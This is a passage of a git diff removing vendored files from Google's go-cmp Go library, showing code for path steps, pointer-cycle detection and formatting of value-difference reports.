ps.vx, ps.vy } -func (ps pathStep) String() string { - if ps.typ == nil { - return "" - } - s := ps.typ.String() - if s == "" || strings.ContainsAny(s, "{}\n") { - return "root" // Type too simple or complex to print - } - return fmt.Sprintf("{%s}", s) -} - -// StructField represents a struct field access on a field called Name. -type StructField struct{ *structField } -type structField struct { - pathStep - name string - idx int - - // These fields are used for forcibly accessing an unexported field. - // pvx, pvy, and field are only valid if unexported is true. - unexported bool - mayForce bool // Forcibly allow visibility - paddr bool // Was parent addressable? - pvx, pvy reflect.Value // Parent values (always addressible) - field reflect.StructField // Field information -} - -func (sf StructField) Type() reflect.Type { return sf.typ } -func (sf StructField) Values() (vx, vy reflect.Value) { - if !sf.unexported { - return sf.vx, sf.vy // CanInterface reports true - } - - // Forcibly obtain read-write access to an unexported struct field. - if sf.mayForce { - vx = retrieveUnexportedField(sf.pvx, sf.field, sf.paddr) - vy = retrieveUnexportedField(sf.pvy, sf.field, sf.paddr) - return vx, vy // CanInterface reports true - } - return sf.vx, sf.vy // CanInterface reports false -} -func (sf StructField) String() string { return fmt.Sprintf(".%s", sf.name) } - -// Name is the field name. -func (sf StructField) Name() string { return sf.name } - -// Index is the index of the field in the parent struct type. -// See reflect.Type.Field. -func (sf StructField) Index() int { return sf.idx } - -// SliceIndex is an index operation on a slice or array at some index Key. -type SliceIndex struct{ *sliceIndex } -type sliceIndex struct { - pathStep - xkey, ykey int - isSlice bool // False for reflect.Array -} - -func (si SliceIndex) Type() reflect.Type { return si.typ } -func (si SliceIndex) Values() (vx, vy reflect.Value) { return si.vx, si.vy } -func (si SliceIndex) String() string { - switch { - case si.xkey == si.ykey: - return fmt.Sprintf("[%d]", si.xkey) - case si.ykey == -1: - // [5->?] means "I don't know where X[5] went" - return fmt.Sprintf("[%d->?]", si.xkey) - case si.xkey == -1: - // [?->3] means "I don't know where Y[3] came from" - return fmt.Sprintf("[?->%d]", si.ykey) - default: - // [5->3] means "X[5] moved to Y[3]" - return fmt.Sprintf("[%d->%d]", si.xkey, si.ykey) - } -} - -// Key is the index key; it may return -1 if in a split state -func (si SliceIndex) Key() int { - if si.xkey != si.ykey { - return -1 - } - return si.xkey -} - -// SplitKeys are the indexes for indexing into slices in the -// x and y values, respectively. These indexes may differ due to the -// insertion or removal of an element in one of the slices, causing -// all of the indexes to be shifted. If an index is -1, then that -// indicates that the element does not exist in the associated slice. -// -// Key is guaranteed to return -1 if and only if the indexes returned -// by SplitKeys are not the same. SplitKeys will never return -1 for -// both indexes. -func (si SliceIndex) SplitKeys() (ix, iy int) { return si.xkey, si.ykey } - -// MapIndex is an index operation on a map at some index Key. -type MapIndex struct{ *mapIndex } -type mapIndex struct { - pathStep - key reflect.Value -} - -func (mi MapIndex) Type() reflect.Type { return mi.typ } -func (mi MapIndex) Values() (vx, vy reflect.Value) { return mi.vx, mi.vy } -func (mi MapIndex) String() string { return fmt.Sprintf("[%#v]", mi.key) } - -// Key is the value of the map key. -func (mi MapIndex) Key() reflect.Value { return mi.key } - -// Indirect represents pointer indirection on the parent type. -type Indirect struct{ *indirect } -type indirect struct { - pathStep -} - -func (in Indirect) Type() reflect.Type { return in.typ } -func (in Indirect) Values() (vx, vy reflect.Value) { return in.vx, in.vy } -func (in Indirect) String() string { return "*" } - -// TypeAssertion represents a type assertion on an interface. -type TypeAssertion struct{ *typeAssertion } -type typeAssertion struct { - pathStep -} - -func (ta TypeAssertion) Type() reflect.Type { return ta.typ } -func (ta TypeAssertion) Values() (vx, vy reflect.Value) { return ta.vx, ta.vy } -func (ta TypeAssertion) String() string { return fmt.Sprintf(".(%v)", ta.typ) } - -// Transform is a transformation from the parent type to the current type. -type Transform struct{ *transform } -type transform struct { - pathStep - trans *transformer -} - -func (tf Transform) Type() reflect.Type { return tf.typ } -func (tf Transform) Values() (vx, vy reflect.Value) { return tf.vx, tf.vy } -func (tf Transform) String() string { return fmt.Sprintf("%s()", tf.trans.name) } - -// Name is the name of the Transformer. -func (tf Transform) Name() string { return tf.trans.name } - -// Func is the function pointer to the transformer function. -func (tf Transform) Func() reflect.Value { return tf.trans.fnc } - -// Option returns the originally constructed Transformer option. -// The == operator can be used to detect the exact option used. -func (tf Transform) Option() Option { return tf.trans } - -// pointerPath represents a dual-stack of pointers encountered when -// recursively traversing the x and y values. This data structure supports -// detection of cycles and determining whether the cycles are equal. -// In Go, cycles can occur via pointers, slices, and maps. -// -// The pointerPath uses a map to represent a stack; where descension into a -// pointer pushes the address onto the stack, and ascension from a pointer -// pops the address from the stack. Thus, when traversing into a pointer from -// reflect.Ptr, reflect.Slice element, or reflect.Map, we can detect cycles -// by checking whether the pointer has already been visited. The cycle detection -// uses a seperate stack for the x and y values. -// -// If a cycle is detected we need to determine whether the two pointers -// should be considered equal. The definition of equality chosen by Equal -// requires two graphs to have the same structure. To determine this, both the -// x and y values must have a cycle where the previous pointers were also -// encountered together as a pair. -// -// Semantically, this is equivalent to augmenting Indirect, SliceIndex, and -// MapIndex with pointer information for the x and y values. -// Suppose px and py are two pointers to compare, we then search the -// Path for whether px was ever encountered in the Path history of x, and -// similarly so with py. If either side has a cycle, the comparison is only -// equal if both px and py have a cycle resulting from the same PathStep. -// -// Using a map as a stack is more performant as we can perform cycle detection -// in O(1) instead of O(N) where N is len(Path). -type pointerPath struct { - // mx is keyed by x pointers, where the value is the associated y pointer. - mx map[value.Pointer]value.Pointer - // my is keyed by y pointers, where the value is the associated x pointer. - my map[value.Pointer]value.Pointer -} - -func (p *pointerPath) Init() { - p.mx = make(map[value.Pointer]value.Pointer) - p.my = make(map[value.Pointer]value.Pointer) -} - -// Push indicates intent to descend into pointers vx and vy where -// visited reports whether either has been seen before. If visited before, -// equal reports whether both pointers were encountered together. -// Pop must be called if and only if the pointers were never visited. -// -// The pointers vx and vy must be a reflect.Ptr, reflect.Slice, or reflect.Map -// and be non-nil. -func (p pointerPath) Push(vx, vy reflect.Value) (equal, visited bool) { - px := value.PointerOf(vx) - py := value.PointerOf(vy) - _, ok1 := p.mx[px] - _, ok2 := p.my[py] - if ok1 || ok2 { - equal = p.mx[px] == py && p.my[py] == px // Pointers paired together - return equal, true - } - p.mx[px] = py - p.my[py] = px - return false, false -} - -// Pop ascends from pointers vx and vy. -func (p pointerPath) Pop(vx, vy reflect.Value) { - delete(p.mx, value.PointerOf(vx)) - delete(p.my, value.PointerOf(vy)) -} - -// isExported reports whether the identifier is exported. -func isExported(id string) bool { - r, _ := utf8.DecodeRuneInString(id) - return unicode.IsUpper(r) -} diff --git a/vendor/github.com/google/go-cmp/cmp/report.go b/vendor/github.com/google/go-cmp/cmp/report.go deleted file mode 100644 index aafcb36354..0000000000 --- a/vendor/github.com/google/go-cmp/cmp/report.go +++ /dev/null @@ -1,54 +0,0 @@ -// Copyright 2017, The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE.md file. - -package cmp - -// defaultReporter implements the reporter interface. -// -// As Equal serially calls the PushStep, Report, and PopStep methods, the -// defaultReporter constructs a tree-based representation of the compared value -// and the result of each comparison (see valueNode). -// -// When the String method is called, the FormatDiff method transforms the -// valueNode tree into a textNode tree, which is a tree-based representation -// of the textual output (see textNode). -// -// Lastly, the textNode.String method produces the final report as a string. -type defaultReporter struct { - root *valueNode - curr *valueNode -} - -func (r *defaultReporter) PushStep(ps PathStep) { - r.curr = r.curr.PushStep(ps) - if r.root == nil { - r.root = r.curr - } -} -func (r *defaultReporter) Report(rs Result) { - r.curr.Report(rs) -} -func (r *defaultReporter) PopStep() { - r.curr = r.curr.PopStep() -} - -// String provides a full report of the differences detected as a structured -// literal in pseudo-Go syntax. String may only be called after the entire tree -// has been traversed. -func (r *defaultReporter) String() string { - assert(r.root != nil && r.curr == nil) - if r.root.NumDiff == 0 { - return "" - } - ptrs := new(pointerReferences) - text := formatOptions{}.FormatDiff(r.root, ptrs) - resolveReferences(text) - return text.String() -} - -func assert(ok bool) { - if !ok { - panic("assertion failure") - } -} diff --git a/vendor/github.com/google/go-cmp/cmp/report_compare.go b/vendor/github.com/google/go-cmp/cmp/report_compare.go deleted file mode 100644 index 9e2180964f..0000000000 --- a/vendor/github.com/google/go-cmp/cmp/report_compare.go +++ /dev/null @@ -1,432 +0,0 @@ -// Copyright 2019, The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE.md file. - -package cmp - -import ( - "fmt" - "reflect" - - "github.com/google/go-cmp/cmp/internal/value" -) - -// numContextRecords is the number of surrounding equal records to print. -const numContextRecords = 2 - -type diffMode byte - -const ( - diffUnknown diffMode = 0 - diffIdentical diffMode = ' ' - diffRemoved diffMode = '-' - diffInserted diffMode = '+' -) - -type typeMode int - -const ( - // emitType always prints the type. - emitType typeMode = iota - // elideType never prints the type. - elideType - // autoType prints the type only for composite kinds - // (i.e., structs, slices, arrays, and maps). - autoType -) - -type formatOptions struct { - // DiffMode controls the output mode of FormatDiff. - // - // If diffUnknown, then produce a diff of the x and y values. - // If diffIdentical, then emit values as if they were equal. - // If diffRemoved, then only emit x values (ignoring y values). - // If diffInserted, then only emit y values (ignoring x values). - DiffMode diffMode - - // TypeMode controls whether to print the type for the current node. - // - // As a general rule of thumb, we always print the type of the next node - // after an interface, and always elide the type of the next node after - // a slice or map node. - TypeMode typeMode - - // formatValueOptions are options specific to printing reflect.Values. - formatValueOptions -} - -func (opts formatOptions) WithDiffMode(d diffMode) formatOptions { - opts.DiffMode = d - return opts -} -func (opts formatOptions) WithTypeMode(t typeMode) formatOptions { - opts.TypeMode = t - return opts -} -func (opts formatOptions) WithVerbosity(level int) formatOptions { - opts.VerbosityLevel = level - opts.LimitVerbosity = true - return opts -} -func (opts formatOptions) verbosity() uint { - switch { - case opts.VerbosityLevel < 0: - return 0 - case opts.VerbosityLevel > 16: - return 16 // some reasonable maximum to avoid shift overflow - default: - return uint(opts.VerbosityLevel) - } -} - -const maxVerbosityPreset = 3 - -// verbosityPreset modifies the verbosity settings given an index -// between 0 and maxVerbosityPreset, inclusive. -func verbosityPreset(opts formatOptions, i int) formatOptions { - opts.VerbosityLevel = int(opts.verbosity()) + 2*i - if i > 0 { - opts.AvoidStringer = true - } - if i >= maxVerbosityPreset { - opts.PrintAddresses = true - opts.QualifiedNames = true - } - return opts -} - -// FormatDiff converts a valueNode tree into a textNode tree, where the later -// is a textual representation of the differences detected in the former. -func (opts formatOptions) FormatDiff(v *valueNode, ptrs *pointerReferences) (out textNode) { - if opts.DiffMode == diffIdentical { - opts = opts.WithVerbosity(1) - } else { - opts = opts.WithVerbosity(3) - } - - // Check whether we have specialized formatting for this node. - // This is not necessary, but helpful for producing more readable outputs. - if opts.CanFormatDiffSlice(v) { - return opts.FormatDiffSlice(v) - } - - var parentKind reflect.Kind - if v.parent != nil && v.parent.TransformerName == "" { - parentKind = v.parent.Type.Kind() - } - - // For leaf nodes, format the value based on the reflect.Values alone. - if v.MaxDepth == 0 { - switch opts.DiffMode { - case diffUnknown, diffIdentical: - // Format Equal. - if v.NumDiff == 0 { - outx := opts.FormatValue(v.ValueX, parentKind, ptrs) - outy := opts.FormatValue(v.ValueY, parentKind, ptrs) - if v.NumIgnored > 0 && v.NumSame == 0 { - return textEllipsis - } else if outx.Len() < outy.Len() { - return outx - } else { - return outy - } - } - - // Format unequal. - assert(opts.DiffMode == diffUnknown) - var list textList - outx := opts.WithTypeMode(elideType).FormatValue(v.ValueX, parentKind, ptrs) - outy := opts.WithTypeMode(elideType).FormatValue(v.ValueY, parentKind, ptrs) - for i := 0; i <= maxVerbosityPreset && outx != nil && outy != nil && outx.Equal(outy); i++ { - opts2 := verbosityPreset(opts, i).WithTypeMode(elideType) - outx = opts2.FormatValue(v.ValueX, parentKind, ptrs) - outy = opts2.FormatValue(v.ValueY, parentKind, ptrs) - } - if outx != nil { - list = append(list, textRecord{Diff: '-', Value: outx}) - } - if outy != nil { - list = append(list, textRecord{Diff: '+', Value: outy}) - } - return opts.WithTypeMode(emitType).FormatType(v.Type, list) - case diffRemoved: - return opts.FormatValue(v.ValueX, parentKind, ptrs) - case diffInserted: - return opts.FormatValue(v.ValueY, parentKind, ptrs) - default: - panic("invalid diff mode") - } - } - - // Register slice element to support cycle detection. - if parentKind == reflect.Slice { - ptrRefs := ptrs.PushPair(v.ValueX, v.ValueY, opts.DiffMode, true) - defer ptrs.Pop() - defer func() { out = wrapTrunkReferences(ptrRefs, out) }() - } - - // Descend into the child value node. - if v.TransformerName != "" { - out := opts.WithTypeMode(emitType).FormatDiff(v.Value, ptrs) - out = &textWrap{Prefix: "Inverse(" + v.TransformerName + ", ", Value: out, Suffix: ")"} - return opts.FormatType(v.Type, out) - } else { - switch k := v.Type.Kind(); k { - case reflect.Struct, reflect.Array, reflect.Slice: - out = opts.formatDiffList(v.Records, k, ptrs) - out = opts.FormatType(v.Type, out) - case reflect.Map: - // Register map to support cycle detection. - ptrRefs := ptrs.PushPair(v.ValueX, v.ValueY, opts.DiffMode, false) - defer ptrs.Pop() - - out = opts.formatDiffList(v.Records, k, ptrs) - out = wrapTrunkReferences(ptrRefs, out) - out = opts.FormatType(v.Type, out) - case reflect.Ptr: - // Register pointer to support cycle detection. - ptrRefs := ptrs.PushPair(v.ValueX, v.ValueY, opts.DiffMode, false) - defer ptrs.Pop() - - out = opts.FormatDiff(v.Value, ptrs) - out = wrapTrunkReferences(ptrRefs, out) - out = &textWrap{Prefix: "&", Value: out} - case reflect.Interface: - out = opts.WithTypeMode(emitType).FormatDiff(v.Value, ptrs) - default: - panic(fmt.Sprintf("%v cannot have children", k)) - } - return out - } -} - -func (opts formatOptions) formatDiffList(recs []reportRecord, k reflect.Kind, ptrs *pointerReferences) textNode { - // Derive record name based on the data structure kind. - var name string - var formatKey func(reflect.Value) string - switch k { - case reflect.Struct: - name = "field" - opts = opts.WithTypeMode(autoType) - formatKey = func(v reflect.Value) string { return v.String() } - case reflect.Slice, reflect.Array: - name = "element" - opts = opts.WithTypeMode(elideType) - formatKey = func(reflect.Value) string { return "" } - case reflect.Map: - name = "entry" - opts = opts.WithTypeMode(elideType) - formatKey = func(v reflect.Value) string { return formatMapKey(v, false, ptrs) } - } - - maxLen := -1 - if opts.LimitVerbosity { - if opts.DiffMode == diffIdentical { - maxLen = ((1 << opts.verbosity()) >> 1) << 2 // 0, 4, 8, 16, 32, etc... - } else { - maxLen = (1 << opts.verbosity()) << 1 // 2, 4, 8, 16, 32, 64, etc... - } - opts.VerbosityLevel-- - } - - // Handle unification. - switch opts.DiffMode { - case diffIdentical, diffRemoved, diffInserted: - var list textList - var deferredEllipsis bool // Add final "..." to indicate records were dropped - for _, r := range recs { - if len(list) == maxLen { - deferredEllipsis = true - break - } - - // Elide struct fields that are zero value. - if k == reflect.Struct { - var isZero bool - switch opts.DiffMode { - case diffIdentical: - isZero = value.IsZero(r.Value.ValueX) || value.IsZero(r.Value.ValueY) - case diffRemoved: - isZero = value.IsZero(r.Value.ValueX) - case diffInserted: - isZero = value.IsZero(r.Value.ValueY) - } - if isZero { - continue - } - } - // Elide ignored nodes. - if r.Value.NumIgnored > 0 && r.Value.NumSame+r.Value.NumDiff == 0 { - deferredEllipsis = !(k == reflect.Slice || k == reflect.Array) - if !deferredEllipsis { - list.AppendEllipsis(diffStats{}) - } - continue - } - if out := opts.FormatDiff(r.Value, ptrs); out != nil { - list = append(list, textRecord{Key: formatKey(r.Key), Value: out}) - } - } - if deferredEllipsis { - list.AppendEllipsis(diffStats{}) - } - return &textWrap{Prefix: "{", Value: list, Suffix: "}"} - case diffUnknown: - default: - panic("invalid diff mode") - } - - // Handle differencing. - var numDiffs int - var list textList - var keys []reflect.Value // invariant: len(list) == len(keys) - groups := coalesceAdjacentRecords(name, recs) - maxGroup := diffStats{Name: name} - for i, ds := range groups { - if maxLen >= 0 && numDiffs >= maxLen { - maxGroup = maxGroup.Append(ds) - continue - } - - // Handle equal records. - if ds.NumDiff() == 0 { - // Compute the number of leading and trailing records to print. - var numLo, numHi int - numEqual := ds.NumIgnored + ds.NumIdentical - for numLo < numContextRecords && numLo+numHi < numEqual && i != 0 { - if r := recs[numLo].Value; r.NumIgnored > 0 && r.NumSame+r.NumDiff == 0 { - break - } - numLo++ - } - for numHi < numContextRecords && numLo+numHi < numEqual && i != len(groups)-1 { - if r := recs[numEqual-numHi-1].Value; r.NumIgnored > 0 && r.NumSame+r.NumDiff == 0 { - break - } - numHi++ - } - if numEqual-(numLo+numHi) == 1 && ds.NumIgnored == 0 { - numHi++ // Avoid pointless coalescing of a single equal record - } - - // Format the equal values. - for _, r := range recs[:numLo] { - out := opts.WithDiffMode(diffIdentical).FormatDiff(r.Value, ptrs) - list = append(list, textRecord{Key: formatKey(r.Key), Value: out}) - keys = append(keys, r.Key) - } - if numEqual > numLo+numHi { - ds.NumIdentical -= numLo + numHi - list.AppendEllipsis(ds) - for len(keys) < len(list) { - keys = append(keys, reflect.Value{}) - } - } - for _, r := range recs[numEqual-numHi : numEqual] { - out := opts.WithDiffMode(diffIdentical).FormatDiff(r.Value, ptrs) - list = append(list, textRecord{Key: formatKey(r.Key), Value: out}) - keys = append(keys, r.Key) - } - recs = recs[numEqual:] - continue - } - - // Handle unequal records. - for _, r := range recs[:ds.NumDiff()] { - switch { - case opts.CanFormatDiffSlice(r.Value): - out := opts.FormatDiffSlice(r.Value) - list = append(list, textRecord{Key: formatKey(r.Key), Value: out}) - keys = append(keys, r.Key) - case r.Value.NumChildren == r.Value.MaxDepth: - outx := opts.WithDiffMode(diffRemoved).FormatDiff(r.Value, ptrs) - outy := opts.WithDiffMode(diffInserted).FormatDiff(r.Value, ptrs) - for i := 0; i <= maxVerbosityPreset && outx != nil && outy != nil && outx.Equal(outy); i++ { - opts2 := verbosityPreset(opts, i) - outx = opts2.WithDiffMode(diffRemoved).FormatDiff(r.Value, ptrs) - outy = opts2.WithDiffMode(diffInserted).FormatDiff(r.Value, ptrs) - } - if outx != nil { - list = append(list, textRecord{Diff: diffRemoved, Key: formatKey(r.Key), Value: outx}) - keys = append(keys, r.Key) - } - if outy != nil { - list = append(list, textRecord{Diff: diffInserted, Key: formatKey(r.Key), Value: outy}) - keys = append(keys, r.Key) - } - default: - out := opts.FormatDiff(r.Value, ptrs) - list = append(list, textRecord{Key: formatKey(r.Key), Value: out}) - keys = append(keys, r.Key) - } - } - recs = recs[ds.NumDiff():] - numDiffs += ds.NumDiff() - } - if maxGroup.IsZero() { - assert(len(recs) == 0) - } else { - list.AppendEllipsis(maxGroup) - for len(keys) < len(list) { - keys = append(keys, reflect.Value{}) - } - } - assert(len(list) == len(keys)) - - // For maps, the default formatting logic uses fmt.Stringer which may - // produce ambiguous output. Avoid calling String to disambiguate. - if k == reflect.Map { - var ambiguous bool - seenKeys := map[string]reflect.Value{} - for i, currKey := range keys { - if currKey.IsValid() { - strKey := list[i].Key - prevKey, seen := seenKeys[strKey] - if seen && prevKey.CanInterface() && currKey.CanInterface() { - ambiguous = prevKey.Interface() != currKey.Interface() - if ambiguous { - break - } - } - seenKeys[strKey] = currKey - } - } - if ambiguous { - for i, k := range keys { - if k.IsValid() { - list[i].Key = formatMapKey(k, true, ptrs) - } - } - } - } - - return &textWrap{Prefix: "{", Value: list, Suffix: "}"} -} - -// coalesceAdjacentRecords coalesces the list of records into groups of -// adjacent equal, or unequal counts. -func coalesceAdjacentRecords(name string, recs []reportRecord) (groups []diffStats) { - var prevCase int // Arbitrary index into which case last occurred - lastStats := func(i int) *diffStats { - if prevCase != i { - groups = append(groups, diffStats{Name: name}) - prevCase = i - } - return &groups[len(groups)-1] - } - for _, r := range recs { - switch rv := r.Value; { - case rv.NumIgnored > 0 && rv.NumSame+rv.NumDiff == 0: - lastStats(1).NumIgnored++ - case rv.NumDiff == 0: - lastStats(1).NumIdentical++ - case rv.NumDiff > 0 && !rv.ValueY.IsValid(): - lastStats(2).NumRemoved++ - case rv.NumDiff > 0 && !rv.ValueX.IsValid(): - lastStats(2).NumInserted++ - default: - lastStats(2).NumModified++ - } - } - return groups -} diff --git a/vendor/github.com/google/go-cmp/cmp/report_references.go b/vendor/github.com/google/go-cmp/cmp/report_references.go deleted file mode 100644 index d620c2c20e..0000000000 --- a/vendor/github.com/google/go-cmp/cmp/report_references.go +++ /dev/null @@ -1,264 +0,0 @@ -// Copyright 2020, The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE.md file. - -package cmp - -import ( - "fmt" - "reflect" - "strings" - - "github.com/google/go-cmp/cmp/internal/flags" - "github.com/google/go-cmp/cmp/internal/value" -) - -const ( - pointerDelimPrefix = "âŸĒ" - pointerDelimSuffix = "âŸĢ" -) - -// formatPointer prints the address of the pointer. -func formatPointer(p value.Pointer, withDelims bool) string { - v := p.Uintptr() - if flags.Deterministic { - v = 0xdeadf00f // Only used for stable testing purposes - } - if withDelims { - return pointerDelimPrefix + formatHex(uint64(v)) + pointerDelimSuffix - } - return formatHex(uint64(v)) -} - -// pointerReferences is a stack of pointers visited so far. -type pointerReferences [][2]value.Pointer - -func (ps *pointerReferences) PushPair(vx, vy reflect.Value, d diffMode, deref bool) (pp [2]value.Pointer) { - if deref && vx.IsValid() { - vx = vx.Addr() - } - if deref && vy.IsValid() { - vy = vy.Addr() - } - switch d { - case diffUnknown, diffIdentical: - pp = [2]value.Pointer{value.PointerOf(vx), value.PointerOf(vy)} - case diffRemoved: - pp = [2]value.Pointer{value.PointerOf(vx), value.Pointer{}} - case diffInserted: - pp = [2]value.Pointer{value.Pointer{}, value.PointerOf(vy)} - } - *ps = append(*ps, pp) - return pp -} - -func (ps *pointerReferences) Push(v reflect.Value) (p value.Pointer, seen bool) { - p = value.PointerOf(v) - for _, pp := range *ps { - if p == pp[0] || p == pp[1] { - return p, true - } - } - *ps = append(*ps, [2]value.Pointer{p, p}) - return p, false -} - -func (ps *pointerReferences) Pop() { - *ps = (*ps)[:len(*ps)-1] -} - -// trunkReferences is metadata for a textNode indicating that the sub-tree -// represents the value for either pointer in a pair of references. -type trunkReferences struct{ pp [2]value.Pointer } - -// trunkReference is metadata for a textNode indicating that the sub-tree -// represents the value for the given pointer reference. -type trunkReference struct{ p value.Pointer } - -// leafReference is metadata for a textNode indicating that the value is -// truncated as it refers to another part of the tree (i.e., a trunk). -type leafReference struct{ p value.Pointer } - -func wrapTrunkReferences(pp [2]value.Pointer, s textNode) textNode { - switch { - case pp[0].IsNil(): - return &textWrap{Value: s, Metadata: trunkReference{pp[1]}} - case pp[1].IsNil(): - return &textWrap{Value: s, Metadata: trunkReference{pp[0]}} - case pp[0] == pp[1]: - return &textWrap{Value: s, Metadata: trunkReference{pp[0]}} - default: - return &textWrap{Value: s, Metadata: trunkReferences{pp}} - } -} -func wrapTrunkReference(p value.Pointer, printAddress bool, s textNode) textNode { - var prefix string - if printAddress { - prefix = formatPointer(p, true) - } - return &textWrap{Prefix: prefix, Value: s, Metadata: trunkReference{p}} -} -func makeLeafReference(p value.Pointer, printAddress bool) textNode { - out := &textWrap{Prefix: "(", Value: textEllipsis, Suffix: ")"} - var prefix string - if printAddress { - prefix = formatPointer(p, true) - } - return &textWrap{Prefix: prefix, Value: out, Metadata: leafReference{p}} -} - -// resolveReferences walks the textNode tree searching for any leaf reference -// metadata and resolves each against the corresponding trunk references. -// Since pointer addresses in memory are not particularly readable to the user, -// it replaces each pointer value with an arbitrary and unique reference ID. -func resolveReferences(s textNode) { - var walkNodes func(textNode, func(textNode)) - walkNodes = func(s textNode, f func(textNode)) { - f(s) - switch s := s.(type) { - case *textWrap: - walkNodes(s.Value, f) - case textList: - for _, r := range s { - walkNodes(r.Value, f) - } - } - } - - // Collect all trunks and leaves with reference metadata. - var trunks, leaves []*textWrap - walkNodes(s, func(s textNode) { - if s, ok := s.(*textWrap); ok { - switch s.Metadata.(type) { - case leafReference: - leaves = append(leaves, s) - case trunkReference, trunkReferences: - trunks = append(trunks, s) - } - } - }) - - // No leaf references to resolve. - if len(leaves) == 0 { - return - } - - // Collect the set of all leaf references to resolve. - leafPtrs := make(map[value.Pointer]bool) - for _, leaf := range leaves { - leafPtrs[leaf.Metadata.(leafReference).p] = true - } - - // Collect the set of trunk pointers that are always paired together. - // This allows us to assign a single ID to both pointers for brevity. - // If a pointer in a pair ever occurs by itself or as a different pair, - // then the pair is broken. - pairedTrunkPtrs := make(map[value.Pointer]value.Pointer) - unpair := func(p value.Pointer) { - if !pairedTrunkPtrs[p].IsNil() { - pairedTrunkPtrs[pairedTrunkPtrs[p]] = value.Pointer{} // invalidate other half - } - pairedTrunkPtrs[p] = value.Pointer{} // invalidate this half - } - for _, trunk := range trunks { - switch p := trunk.Metadata.(type) { - case trunkReference: - unpair(p.p) // standalone pointer cannot be part of a pair - case trunkReferences: - p0, ok0 := pairedTrunkPtrs[p.pp[0]] - p1, ok1 := pairedTrunkPtrs[p.pp[1]] - switch { - case !ok0 && !ok1: - // Register the newly seen pair. - pairedTrunkPtrs[p.pp[0]] = p.pp[1] - pairedTrunkPtrs[p.pp[1]] = p.pp[0] - case ok0 && ok1 && p0 == p.pp[1] && p1 == p.pp[0]: - // Exact pair already seen; do nothing. - default: - // Pair conflicts with some other pair; break all pairs. - unpair(p.pp[0]) - unpair(p.pp[1]) - } - } - } - - // Correlate each pointer referenced by leaves to a unique identifier, - // and print the IDs for each trunk that matches those pointers. - var nextID uint - ptrIDs := make(map[value.Pointer]uint) - newID := func() uint { - id := nextID - nextID++ - return id - } - for _, trunk := range trunks { - switch p := trunk.Metadata.(type) { - case trunkReference: - if print := leafPtrs[p.p]; print { - id, ok := ptrIDs[p.p] - if !ok { - id = newID() - ptrIDs[p.p] = id - } - trunk.Prefix = updateReferencePrefix(trunk.Prefix, formatReference(id)) - } - case trunkReferences: - print0 := leafPtrs[p.pp[0]] - print1 := leafPtrs[p.pp[1]] - if print0 || print1 { - id0, ok0 := ptrIDs[p.pp[0]] - id1, ok1 := ptrIDs[p.pp[1]] - isPair := pairedTrunkPtrs[p.pp[0]] == p.pp[1] && pairedTrunkPtrs[p.pp[1]] == p.pp[0] - if isPair { - var id uint - assert(ok0 == ok1) // must be seen together or not at all - if ok0 { - assert(id0 == id1) // must have the same ID - id = id0 - } else { - id = newID() - ptrIDs[p.pp[0]] = id - ptrIDs[p.pp[1]] = id - } - trunk.Prefix = updateReferencePrefix(trunk.Prefix, formatReference(id)) - } else { - if print0 && !ok0 { - id0 = newID() - ptrIDs[p.pp[0]] = id0 - } - if print1 && !ok1 { - id1 = newID() - ptrIDs[p.pp[1]] = id1 - } - switch { - case print0 && print1: - trunk.Prefix = updateReferencePrefix(trunk.Prefix, formatReference(id0)+","+formatReference(id1)) - case print0: - trunk.Prefix = updateReferencePrefix(trunk.Prefix, formatReference(id0)) - case print1: - trunk.Prefix = updateReferencePrefix(trunk.Prefix, formatReference(id1)) - } - } - } - } - } - - // Update all leaf references with the unique identifier. - for _, leaf := range leaves { - if id, ok := ptrIDs[leaf.Metadata.(leafReference).p]; ok { - leaf.Prefix = updateReferencePrefix(leaf.Prefix, formatReference(id)) - } - } -} - -func formatReference(id uint) string { - return fmt.Sprintf("ref#%d", id) -} - -func updateReferencePrefix(prefix, ref string) string { - if prefix == "" { - return pointerDelimPrefix + ref + pointerDelimSuffix - } - suffix := strings.TrimPrefix(prefix, pointerDelimPrefix) - return pointerDelimPrefix + ref + ": " + suffix -} diff --git a/vendor/github.com/google/go-cmp/cmp/report_reflect.go b/vendor/github.com/google/go-cmp/cmp/report_reflect.go deleted file mode 100644 index 786f671269..0000000000 --- a/vendor/github.com/google/go-cmp/cmp/report_reflect.go +++ /dev/null @@ -1,400 +0,0 @@ -// Copyright 2019, The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE.md file. - -package cmp - -import ( - "bytes" - "fmt" - "reflect" - "strconv" - "strings" - "unicode" - "unicode/utf8" - - "github.com/google/go-cmp/cmp/internal/value" -) - -type formatValueOptions struct { - // AvoidStringer controls whether to avoid calling custom stringer - // methods like error.Error or fmt.Stringer.String. - AvoidStringer bool - - // PrintAddresses controls whether to print the address of all pointers, - // slice elements, and maps. - PrintAddresses bool - - // QualifiedNames controls whether FormatType uses the fully qualified name - // (including the full package path as opposed to just the package name). - QualifiedNames bool - - // VerbosityLevel controls the amount of output to produce. - // A higher value produces more output. A value of zero or lower produces - // no output (represented using an ellipsis). - // If LimitVerbosity is false, then the level is treated as infinite. - VerbosityLevel int - - // LimitVerbosity specifies that formatting should respect VerbosityLevel. - LimitVerbosity bool -} - -// FormatType prints the type as if it were wrapping s. -// This may return s as-is depending on the current type and TypeMode mode. -func (opts formatOptions) FormatType(t reflect.Type, s textNode) textNode { - // Check whether to emit the type or not. - switch opts.TypeMode { - case autoType: - switch t.Kind() { - case reflect.Struct, reflect.Slice, reflect.Array, reflect.Map: - if s.Equal(textNil) { - return s - } - default: - return s - } - if opts.DiffMode == diffIdentical { - return s // elide type for identical nodes - } - case elideType: - return s - } - - // Determine the type label, applying special handling for unnamed types. - typeName := value.TypeString(t, opts.QualifiedNames) - if t.Name() == "" { - // According to Go grammar, certain type literals contain symbols that - // do not strongly bind to the next lexicographical token (e.g., *T). - switch t.Kind() { - case reflect.Chan, reflect.Func, reflect.Ptr: - typeName = "(" + typeName + ")" - } - } - return &textWrap{Prefix: typeName, Value: wrapParens(s)} -} - -// wrapParens wraps s with a set of parenthesis, but avoids it if the -// wrapped node itself is already surrounded by a pair of parenthesis or braces. -// It handles unwrapping one level of pointer-reference nodes. -func wrapParens(s textNode) textNode { - var refNode *textWrap - if s2, ok := s.(*textWrap); ok { - // Unwrap a single pointer reference node. - switch s2.Metadata.(type) { - case leafReference, trunkReference, trunkReferences: - refNode = s2 - if s3, ok := 